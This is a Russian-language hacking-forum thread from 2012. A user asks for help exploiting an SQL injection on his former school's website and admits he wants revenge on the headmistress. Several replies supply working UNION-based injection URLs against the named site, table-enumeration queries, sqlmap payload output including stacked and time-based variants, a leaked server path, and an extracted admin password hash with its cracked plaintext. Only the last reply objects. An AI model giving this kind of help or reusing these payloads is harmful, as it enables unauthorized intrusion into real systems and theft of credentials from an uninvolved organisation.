Помогите со SQL-injection

Discussion in 'Болталка' started by Strangerx, 31 Aug 2012.

  1. Strangerx

    Strangerx New Member

    Joined:
    22 Aug 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте, в общем нарыл на сайте бывшей школы возможность sql-инъекции. Проблема в реализации самой инъекции.
    Ссылка для инъекций:
    http://www.sofia1589.ru/?id=
    Подставьте " и все станет ясно, на вид все очень просто, но на деле при добавлении GROUP BY 1 все-ровно ошибка... В чем моя проблема и как можно это обойти?
    Помогите чем сможете, отблагодарю пивом!
    UPD: Нашел еще дырку: http://www.lic1589.ru/login/?id=1'
     
    #1 Strangerx, 31 Aug 2012
    Last edited: 31 Aug 2012
  2. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    371
    Likes Received:
    497
    Reputations:
    37
  3. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    369
    Likes Received:
    164
    Reputations:
    126
    www.sofia1589.ru/?id=9999999999999999999999/*!union+select+1,2,3,4,5,6,7,8,9,10,11,12,13*/--+f

    Вывод не знаю где.
    Так же нашел раскрытие путей.
    D:\HostingSpaces\z151296\sofia1589.ru\wwwroot\index.php
     
    _________________________
  4. Strangerx

    Strangerx New Member

    Joined:
    22 Aug 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Гигантское спасибо, пути я видил, они палятся через ошибки...
    Вывод не пашет походу если неверный id передается...
     
  5. Strangerx

    Strangerx New Member

    Joined:
    22 Aug 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    откуда кстати информация что полей именно 13?
     
  6. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    252
    Likes Received:
    46
    Reputations:
    21
    - ошибка
    - нет ошибки,значит 13
     
  7. Strangerx

    Strangerx New Member

    Joined:
    22 Aug 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Да, действительно, как я сам не заметил...
    но вот
    http://www.sofia1589.ru/?id=99999.9/*!union+SELECT+*+FROM+Articles+WHERE+id=1*/--
    все-ровно не пашет, хотя вроде должен по всем правилам, для проверки сделал даже маленький скриптик, на нем это пашет...
     
  8. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    ыыы

    http://goo.gl/Lqn1v

    id^title^password
    Master^Web-разработчик^3fd6b6210e33bb046e69f256a138e28d
    3fd6b6210e33bb046e69f256a138e28d=desert
    одминку искать лень, но там в мускуле ищо 700+ бд ололо
     
    #8 Dyxxx, 31 Aug 2012
    Last edited: 31 Aug 2012
  9. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    369
    Likes Received:
    164
    Reputations:
    126
    http://www.sofia1589.ru/?id=null+union+all+select+null,(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('AccessRights','Users','Blocks','Members','Tree','UGroups','Ratings','RTables')),null,null,null,null,null,null,null,null,null,null,null--

    Дальше сам.
     
    _________________________
  10. \/IRUS

    \/IRUS Elder - Старейшина

    Joined:
    3 Aug 2012
    Messages:
    371
    Likes Received:
    497
    Reputations:
    37
    нах сюда пишите?
    там MSSQL
    Code:
    Place: GET
    Parameter: id
        Type: UNION query
        Title: Generic UNION query (NULL) - 13 columns
        Payload: id=1 UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(119)+CHAR(103)+CHAR
    (115)+CHAR(58)+CHAR(104)+CHAR(65)+CHAR(82)+CHAR(101)+CHAR(121)+CHAR(102)+CHAR(11
    7)+CHAR(106)+CHAR(88)+CHAR(76)+CHAR(58)+CHAR(110)+CHAR(106)+CHAR(103)+CHAR(58),
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
    
        Type: stacked queries
        Title: Microsoft SQL Server/Sybase stacked queries
        Payload: id=1; WAITFOR DELAY '0:0:5';--
    
        Type: AND/OR time-based blind
        Title: Microsoft SQL Server/Sybase time-based blind
        Payload: id=1 WAITFOR DELAY '0:0:5'--
    юзера sa и z151296_lic
     
  11. Sharp.Net

    Sharp.Net New Member

    Joined:
    28 Jul 2012
    Messages:
    39
    Likes Received:
    3
    Reputations:
    1
    ну ну
     
  12. Strangerx

    Strangerx New Member

    Joined:
    22 Aug 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Что не так? Вам аттестат показывать надо, чтобы вы людям верили? Школа просто отстоем была, директриса ё%?&ая, захотелось мстить...
     
  13. Sharp.Net

    Sharp.Net New Member

    Joined:
    28 Jul 2012
    Messages:
    39
    Likes Received:
    3
    Reputations:
    1
    Да, аттестат бы не помешал вместе с паспортом. Нормальный человек не будет страдать этим, т.к какая бы директриса не была, эта школа научила тебя жизни, уму и разуму, подонок